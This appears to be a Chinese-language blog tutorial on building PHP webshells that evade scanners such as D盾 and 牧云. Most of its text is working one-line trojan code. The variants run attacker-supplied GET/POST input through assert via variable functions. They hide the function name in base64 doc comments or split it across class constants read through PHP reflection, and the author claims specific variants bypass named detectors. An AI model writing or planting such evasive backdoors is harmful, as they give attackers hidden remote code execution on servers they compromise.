前言

webshell对于渗透测试者来说是既是一种结束也是一种开始；一个免杀的webshell是我们在渗透测试过程中能否拿到目标权限的一个“前提”，首先webshell需要落地存活，其次是否能够执行命令，最后我们使用webshell管理工具时流量是否被拦截。所以免杀至关重要。

我的第一个一句话木马

很奇怪，我学习安全接触的的第一个一句话木马就是它：$_GET[1]($_POST[2]);，并且令我印象深刻。当时不太理解这个是因为PHP太灵活了，没想到还有这种写法：

1 2	$a = 'assert'; $a();

这个木马和上面的例子一样，是一种可变函数，$_GET[1]写为字符串assert，$_POST[2]写为命令phpinfo()。

值得一提的是assert和eval：
手册写到eval()不是一个函数而是一个语言构造器，所以不能被可变函数调用；eval() 把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码，且必须以分号结尾。
而assert()是一个函数，所以它相比eval灵活许多，可以被可变函数调用，也可以被回调函数来调用。

思考
我们通过webshell执行命令，是通过我们可控的参数来达到目的，而上面的一句话木马我们可控的部分为POST和GET参数。只要稍作改变就可以绕过D盾的检测
1
2
3
4
5
6
7
<?php
foreach (array('_GET') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key = $_value;
$_key($_value);
}
}
可以看到这里并没有达到免杀效果

接下来我又写了一个正常的类与函数，再次扫描发现D盾已经检测不出来了

从可变函数的例子我们可以受到一些启发，通过翻阅PHP手册中的反射部分，我们可以得到一些可以利用的函数

少见的函数

获取注释

PHP中有这样一个函数，它可以获取php注释的内容
public ReflectionClass::getDocComment( void) : string
某些查杀引擎在查杀的时候，会做类似于编译器的优化，去掉我们所写的注释。毕竟注释是不能运行的，如果我们将参数通过非常规的方式传输进来，这样或许可以绕过一些查杀引擎呢。我们知道，安全狗查形，D盾查参，就拿D盾来试一试。

<?php

/**
* YXNzZXJ0YWE=
*/
class Example
{
    public function fn()
    {
    }
}

$reflector = new ReflectionClass('Example');

$zhushi = substr(($reflector->getDocComment()), 7, 12);
$zhushi = base64_decode($zhushi);
$zhushi = substr($zhushi, 0, 6);
//
foreach (array('_POST','_GET') as $_request) {
    foreach ($$_request as $_key=>$_value) {
        $$_key=  $_value;
        print_r($$_request);
    }
}
$zhushi($_value);

获取定义过的一个常量

public ReflectionClass::getConstants(void) : array
获取某个类的全部已定义的常量，不管可见性如何定义。

class Test
{
    const a = 'As';
    const b = 'se';
    const c = 'rt';

    public function __construct()
    {
    }
}
$para1;
$para2;
$reflector = new ReflectionClass('Test');

for ($i=97; $i <= 99; $i++) {
    $para1 = $reflector->getConstant(chr($i));
    $para2.=$para1;
}

foreach (array('_POST','_GET') as $_request) {
    foreach ($$_request as $_key=>$_value) {
        $$_key=  $_value;
    }
}

$para2($_value);

获取一组常量

public ReflectionClass::getConstants(void) : array
获取某个类的全部已定义的常量，不管可见性如何定义。

<?php

class Test
{
    const a = array(1=>'aS',2=>'se',3=>'rT');

    public function __construct()
    {
    }
}

$refl = new ReflectionClass('Test');

foreach ($refl->getConstants() as $key => $value) {
    foreach ($value as $key => $value1) {
        $value2.=$value1;
    }
}
foreach (array('_POST','_GET') as $_request) {
    foreach ($$_request as $_key=>$_value) {
        $$_key=  $_value;
    }
}
$value2($_value);

类与继承

P牛的《PHP动态特性的捕捉与逃逸》中提到了一个点，

除了PPT里提到的trick，还能想到什么呢？

面向对象中，类能够继承类的属性与方法。或许可以从这两个点入手，因为测试绕过了”牧云”，就暂时不放出来结果了。
至于为什么可以绕过：我的猜想是这个函数不在黑名单中，语法分析不够完善，引擎认为我们的vuln代码并不能执行。

创建类的实例

public ReflectionClass::newInstance( mixed $args[, mixed $...] ) : object
简单地说，这个方法可以创建一个类的实例，同时该函数传递的参数会传递到该类的构造函数
需要注意的是，该方法传参和call_user_func()相似，不能使用引用类型传参，如果要使用引用类型使用另一个方法newInstanceArgs


class Test1
{
    public function __construct($para)
    {
        //assert
    }
}

$class1 = new ReflectionClass("Test1");
$para = '';
//可控的$para
$class2 = $class1->newInstance($para);

基本的框架就是这样了，对框架进行变形也可绕过”牧云”。